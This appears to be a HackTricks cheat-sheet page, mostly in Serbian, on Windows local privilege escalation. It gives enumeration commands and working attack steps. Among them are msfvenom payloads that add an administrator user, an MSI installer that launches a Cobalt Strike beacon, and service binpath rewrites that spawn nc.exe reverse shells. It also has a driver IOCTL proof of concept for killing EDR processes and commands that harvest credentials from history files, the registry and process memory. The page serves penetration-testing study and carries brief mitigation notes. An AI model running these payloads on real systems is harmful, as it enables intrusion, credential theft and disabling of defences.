Windows Local Privilege Escalation
Reading time: 59 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Najbolji alat za pronalaženje Windows local privilege escalation vectors: WinPEAS
Initial Windows Theory
Access Tokens
Ako ne znate šta su Windows Access Tokens, pročitajte sledeću stranicu pre nego što nastavite:
ACLs - DACLs/SACLs/ACEs
Pogledajte sledeću stranicu za više informacija o ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Ako ne znate šta su integrity levels u Windows, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:
Windows Security Controls
Postoje različite stvari u Windows koje bi mogle da vam spreče da enumerišete sistem, pokrenete izvršne fajlove ili čak detektuju vaše aktivnosti. Trebalo bi da pročitate sledeću stranicu i enumerišete sve ove mehanizme odbrane pre nego što započnete privilege escalation enumeration:
System Info
Version info enumeration
Proverite da li Windows verzija ima neku poznatu ranjivost (proverite i primenjene zakrpe).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
This site je koristan za pretraživanje detaljnih informacija o Microsoft security vulnerabilities. Ova baza ima više od 4,700 security vulnerabilities, pokazujući massive attack surface koji Windows environment predstavlja.
Na sistemu
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Lokalno sa informacijama o sistemu
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Okruženje
Ima li neki credential/Juicy info sačuvan u env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell istorija
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transcript files
Saznajte kako da omogućite ovo na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Detalji izvršavanja PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda neće biti zabeleženi.
Da biste ovo omogućili, sledite uputstva u odeljku "Transcript files" dokumentacije, birajući "Module Logging" umesto "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Da biste pregledali poslednjih 15 događaja iz PowersShell logova, možete izvršiti:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Kompletan zapis aktivnosti i pun sadržaj izvršavanja skripte beleže se, čime se osigurava da je svaki blok koda dokumentovan tokom izvršavanja. Ovaj proces čuva obuhvatan revizorski zapis svake aktivnosti, koristan za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršenja dobijaju se detaljni uvidi u proces.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Zapis događaja za Script Block možete pronaći u Windows Event Viewer-u na putanji: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Da biste videli poslednjih 20 događaja možete koristiti:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internet podešavanja
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Diskovi
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Možete kompromitovati sistem ako se ažuriranja ne zahtevaju koristeći httpS, već http.
Počinjete proverom da li mreža koristi WSUS ažuriranja bez SSL-a izvršavanjem sledećeg u cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Ili sledeće u PowerShell-u:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Ako dobijete odgovor kao jedan od ovih:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
A ako HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
ili Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"
ima vrednost 1
.
Tada, it is exploitable. Ako je poslednja vrednost registra jednaka 0, tada će WSUS unos biti ignorisan.
Da biste iskoristili ove ranjivosti možete koristiti alate kao što su: Wsuxploit, pyWSUS - To su MiTM weaponized exploit skripte za injektovanje 'lažnih' ažuriranja u non-SSL WSUS saobraćaj.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
U suštini, ovo je propust koji ovaj bug iskorišćava:
Ako imamo mogućnost da izmenimo proxy za lokalnog korisnika, i Windows Updates koristi proxy konfigurisan u Internet Explorer podešavanjima, tada imamo mogućnost da lokalno pokrenemo PyWSUS da presretnemo sopstveni saobraćaj i pokrenemo kod kao povišeni korisnik na našem asset-u.
Dalje, pošto WSUS servis koristi podešavanja trenutnog korisnika, koristiće i njegovo skladište sertifikata. Ako generišemo self-signed sertifikat za WSUS hostname i dodamo taj sertifikat u certificate store trenutnog korisnika, bićemo u mogućnosti da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-slične mehanizme za implementaciju trust-on-first-use tipa validacije sertifikata. Ako je predstavljeni sertifikat trusted od strane korisnika i ima ispravan hostname, biće prihvaćen od strane servisa.
Možete iskoristiti ovu ranjivost koristeći alat WSUSpicious (kad bude objavljen).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Mnogi enterprise agenti izlažu localhost IPC interfejs i privilegovani update kanal. Ako se enrollment može primorati na attackerski server i updater veruje rogue root CA ili ima slabe provere potpisivača, lokalni korisnik može dostaviti maliciozni MSI koji SYSTEM servis instalira. Pogledajte generalizovanu tehniku (zasnovanu na Netskope stAgentSvc lancu – CVE-2025-0309) ovde:
KrbRelayUp
Postoji local privilege escalation ranjivost u Windows domain okruženjima pod specifičnim uslovima. Ti uslovi uključuju okruženja gde LDAP signing nije enforced, korisnici imaju dovoljne privilegije da konfigurišu Resource-Based Constrained Delegation (RBCD), i mogućnost da korisnici kreiraju računare unutar domena. Važno je napomenuti da su ovi zahtevi ispunjeni koristeći default podešavanja.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
Za više informacija o toku napada pogledajte https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If ova 2 unosa u registru su omogućena (vrednost je 0x1), onda korisnici bilo kog privilegovanog nivoa mogu install (pokretati) *.msi
fajlove kao NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modul exploit/windows/local/always_install_elevated
PowerUP
Koristite komandu Write-UserAddMSI
iz PowerUP-a da kreirate u trenutnom direktorijumu Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript ispiše unapred kompajlirani MSI installer koji traži dodavanje korisnika/grupe (tako da će vam trebati GIU pristup):
Write-UserAddMSI
Samo izvršite kreirani binarni fajl da biste eskalirali privilegije.
MSI Wrapper
Pročitajte ovaj tutorijal da naučite kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete umotati ".bat" fajl ako samo želite da izvršavate komandne linije
Create MSI with WIX
Create MSI with Visual Studio
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe
- Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
- Give the project a name, like AlwaysPrivesc, use
C:\privesc
for the location, select place solution and project in the same directory, and click Create. - Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
- Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
- There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
- Right-click the project and select View > Custom Actions.
- Right-click Install and select Add Custom Action.
- Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
- Under the Custom Action Properties, change Run64Bit to True.
- Finally, build it.
- If the warning
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
is shown, make sure you set the platform to x64.
MSI Installation
Da biste izvršili instalaciju malicioznog .msi
fajla u pozadini:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Da biste iskoristili ovu ranjivost, možete koristiti: exploit/windows/local/always_install_elevated
Antivirus i detektori
Podešavanja audita
Ova podešavanja odlučuju šta se beleži (logged), zato treba da obratite pažnju
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding — korisno je znati gde se šalju logs
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS je dizajniran za upravljanje lokalnim Administrator lozinkama, obezbeđujući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima priključenim na domen. Te lozinke se bezbedno čuvaju u Active Directory i mogu im pristupiti samo korisnici kojima su dodeljena odgovarajuća ovlašćenja putem ACLs, što im omogućava da, ako su autorizovani, pregledaju lokalne administratorske lozinke.
WDigest
Ako je aktivan, lozinke u običnom tekstu se čuvaju u LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Počevši od Windows 8.1, Microsoft je uveo poboljšanu zaštitu za Local Security Authority (LSA) kako bi blokirao pokušaje nepouzdanih procesa da čitaju njegovu memoriju ili da injektuju kod, dodatno osiguravajući sistem.
More info about LSA Protection here
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard je uveden u Windows 10. Njegova svrha je da zaštiti podatke za prijavu sačuvane na uređaju od pretnji kao što su pass-the-hash napadi.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials se autentifikuju od strane Local Security Authority (LSA) i koriste ih komponente operativnog sistema. Kada su korisnički podaci za prijavu autentifikovani od strane registrovanog security package-a, za korisnika se obično uspostavljaju domain credentials.
Više informacija o Cached Credentials ovde.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Korisnici i grupe
Enumeracija korisnika i grupa
Trebalo bi da proverite da li neka od grupa čiji ste član ima zanimljive dozvole
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Privilegovane grupe
Ako pripadate nekoj privilegovanoj grupi, možda ćete moći da eskalirate privilegije. Saznajte o privilegovanim grupama i kako ih zloupotrebiti da biste eskalirali privilegije ovde:
Token manipulation
Saznajte više o tome šta je token na ovoj stranici: Windows Tokens.
Pogledajte sledeću stranicu da biste saznali o interesantnim tokenima i kako ih zloupotrebiti:
Prijavljeni korisnici / sesije
qwinsta
klist sessions
Kućni direktorijumi
dir C:\Users
Get-ChildItem C:\Users
Politika lozinki
net accounts
Dohvati sadržaj međuspremnika
powershell -command "Get-Clipboard"
Aktivni procesi
Dozvole za fajlove i foldere
Prvo, pri listanju procesa check for passwords inside the command line of the process.
Proveri da li možeš overwrite some binary running ili da li imaš write permissions of the binary folder da iskoristiš moguće DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Uvek proverite da li rade electron/cef/chromium debuggers — možete ih iskoristiti za eskalaciju privilegija.
Provera dozvola binarnih fajlova procesa
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Provera dozvola foldera binarnih fajlova procesa (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Možete napraviti dump memorije pokrenutog procesa koristeći procdump iz sysinternals. Servisi kao FTP često imaju credentials in clear text in memory — pokušajte da dumpujete memoriju i pročitate credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Nesigurne GUI aplikacije
Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD, ili pregleda direktorijume.
Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt"
Servisi
Dobijte listu servisa:
net start
wmic service list brief
sc query
Get-Service
Dozvole
Možete koristiti sc da dobijete informacije o servisu
sc qc <service_name>
Preporučuje se imati binarni fajl accesschk iz Sysinternals za proveru potrebnog nivoa privilegija za svaku uslugu.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Preporučuje se proveriti da li "Authenticated Users" mogu izmeniti bilo koju uslugu:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Možete preuzeti accesschk.exe za XP ovde
Omogući servis
Ako dobijate ovu grešku (na primer sa SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Možete ga omogućiti koristeći
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Imajte na umu da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)
Još jedno workaround ovog problema je pokretanje:
sc.exe config usosvc start= auto
Promeni putanju binarne datoteke servisa
U scenariju u kojem grupa "Authenticated users" poseduje SERVICE_ALL_ACCESS nad servisom, moguće je izmeniti izvršnu binarnu datoteku servisa. Da biste izmenili i pokrenuli sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Ponovo pokreni servis
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Privilegije se mogu eskalirati kroz sledeće dozvole:
- SERVICE_CHANGE_CONFIG: Omogućava rekonfiguraciju binarnog fajla servisa.
- WRITE_DAC: Omogućava rekonfiguraciju dozvola, što može dovesti do mogućnosti izmene konfiguracije servisa.
- WRITE_OWNER: Dozvoljava preuzimanje vlasništva i rekonfiguraciju dozvola.
- GENERIC_WRITE: Omogućava promenu konfiguracije servisa.
- GENERIC_ALL: Takođe omogućava promenu konfiguracije servisa.
Za otkrivanje i eksploataciju ove ranjivosti može se koristiti exploit/windows/local/service_permissions.
Slabe dozvole nad servisnim binarnim fajlovima
Proverite da li možete izmeniti binarni fajl koji pokreće servis ili da li imate write permissions na folder gde se binarni fajl nalazi (DLL Hijacking).
Možete dobaviti sve binarne fajlove koje servis izvršava koristeći wmic (not in system32) i proveriti svoje dozvole koristeći icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Takođe možete koristiti sc i icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Dozvole za izmenu registra servisa
Treba da proverite da li možete da izmenite bilo koji registar servisa.
Možete proveriti svoje dozvole nad registrom servisa tako što ćete:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Treba proveriti da li Authenticated Users ili NT AUTHORITY\INTERACTIVE poseduju FullControl
dozvole. Ako je tako, binarni fajl koji servis izvršava može biti izmenjen.
Da biste promenili Path binarnog fajla koji se izvršava:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services registry AppendData/AddSubdirectory permissions
Ako imate ovu dozvolu nad registry, to znači da možete kreirati sub registries iz ovog. U slučaju Windows services ovo je dovoljno za izvršavanje proizvoljnog koda:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
Ako putanja do izvršnog fajla nije u navodnicima, Windows će pokušati da izvrši svaki deo putanje koji prethodi razmaku.
Na primer, za putanju C:\Program Files\Some Folder\Service.exe Windows će pokušati da izvrši:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Navedite sve putanje servisa bez navodnika, osim onih koje pripadaju ugrađenim Windows servisima:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Možete otkriti i iskoristiti ovu ranjivost pomoću metasploit: exploit/windows/local/trusted\_service\_path
Možete ručno kreirati servisni binarni fajl pomoću metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Radnje oporavka
Windows omogućava korisnicima da navedu radnje koje treba preduzeti ako servis zakaže. Ova funkcija može biti konfigurisana da pokazuje na binary. Ako je taj binary zamenjiv, privilege escalation može biti moguć. Više detalja možete naći u zvaničnoj dokumentaciji.
Aplikacije
Instalirane aplikacije
Proverite permissions of the binaries (možda možete overwrite jedan od njih i escalate privileges) i folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Dozvole za pisanje
Proverite da li možete izmeniti neku config datoteku da biste pročitali neku posebnu datoteku ili da li možete izmeniti neki binarni fajl koji će biti izvršen pod Administrator nalogom (schedtasks).
Jedan način da pronađete slabe dozvole foldera/datoteka u sistemu je da uradite:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Pokretanje pri podizanju sistema
Proverite da li možete prepisati neki registry ili binarni fajl koji će biti izvršen od strane drugog korisnika.
Pročitajte sledeću stranicu da saznate više o interesantnim autoruns lokacijama za eskalaciju privilegija:
Privilege Escalation with Autoruns
Drajveri
Potražite moguće drajvere trećih strana koji su čudni/ranjivi
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
Arbitrary Kernel Rw Token Theft
Zloupotreba izostanka FILE_DEVICE_SECURE_OPEN na device objektima (LPE + EDR kill)
Neki potpisani third‑party driveri kreiraju svoj device object sa jakim SDDL putem IoCreateDeviceSecure, ali zaborave da postave FILE_DEVICE_SECURE_OPEN u DeviceCharacteristics. Bez ovog flag‑a, secure DACL se ne primenjuje kada se device otvori kroz putanju koja sadrži dodatnu komponentu, što omogućava bilo kojem neprivilegovanom korisniku da dobije handle koristeći namespace putanju kao:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Kada korisnik može da otvori device, privileged IOCTLs eksponirani od strane drivera mogu se zloupotrebiti za LPE i tampering. Primeri mogućnosti viđenih u realnom svetu:
- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
Minimalni PoC obrazac (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigacije za programere
- Uvek postavite FILE_DEVICE_SECURE_OPEN kada kreirate device objects koji treba da budu ograničeni DACL-om.
- Validirajte kontekst pozivaoca za privilegovane operacije. Dodajte PP/PPL provere pre dozvole za terminaciju procesa ili vraćanje handle-a.
- Ograničite IOCTLs (access masks, METHOD_*, input validation) i razmislite o brokered modelima umesto direktnih kernel privilegija.
Ideje za detekciju za odbrambene timove
- Pratite user-mode otvaranja sumnjivih device imena (npr., \ .\amsdk*) i specifične IOCTL sekvence koje ukazuju na zloupotrebu.
- Sprovodite Microsoft-ovu vulnerable driver blocklistu (HVCI/WDAC/Smart App Control) i održavajte svoje allow/deny liste.
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Za više informacija o tome kako zloupotrebiti ovu proveru:
Writable Sys Path +Dll Hijacking Privesc
Mreža
Deljeni resursi
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Proverite da li se u hosts file nalaze drugi poznati računari.
type C:\Windows\System32\drivers\etc\hosts
Mrežni interfejsi & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Open Ports
Proverite da li su ograničeni servisi dostupni spolja.
netstat -ano #Opened ports?
Tabela rutiranja
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP tabela
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall pravila
Check this page for Firewall related commands (prikaži pravila, kreiraj pravila, isključi, isključi...)
Više commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Binar bash.exe
se takođe može naći u C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Ako dobijete root user, možete slušati na bilo kom portu (prvi put kada koristite nc.exe
za slušanje na portu, GUI će pitati da li nc
treba da bude dozvoljen od strane firewalla).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Da biste lako pokrenuli bash kao root, možete probati --default-user root
Možete istražiti WSL
fajl-sistem u folderu C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows kredencijali
Winlogon kredencijali
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
